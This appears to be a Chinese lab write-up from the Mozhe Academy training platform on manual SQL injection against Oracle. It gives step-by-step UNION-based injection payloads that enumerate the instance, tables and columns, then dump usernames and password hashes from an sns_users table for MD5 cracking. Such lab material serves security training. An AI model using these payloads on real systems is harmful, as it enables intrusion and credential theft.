墨者学院-Oracle⼿⼯注⼊

步骤一：找寻注入sql页面

步骤二：判断注入方式

输入?id=1 and 1=1 --+数据没有报错

输入?id=1 and 1=2 --+数据报错 则为数字型

步骤三： 通过order by来判断字段数

?id=1 order by 2 --+

?id=1 order by 3 --+

得出字段数为2

步骤四：获取显错点

?id=1 union select 'null','null' from dual --+

步骤五：查询当前数据库库名

?id=1 union select 'null',(select instance_name from V$INSTANCE) from dual --+

步骤六：查询数据库表名，查询表名⼀般查询admin或者user表

第一个表：?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual

第二张表?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

第三张表?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual

步骤七：查询数据库列名

?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

步骤⼋：查询数据库数据获取账号密码的字段内容

?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

md5解密得出最后结果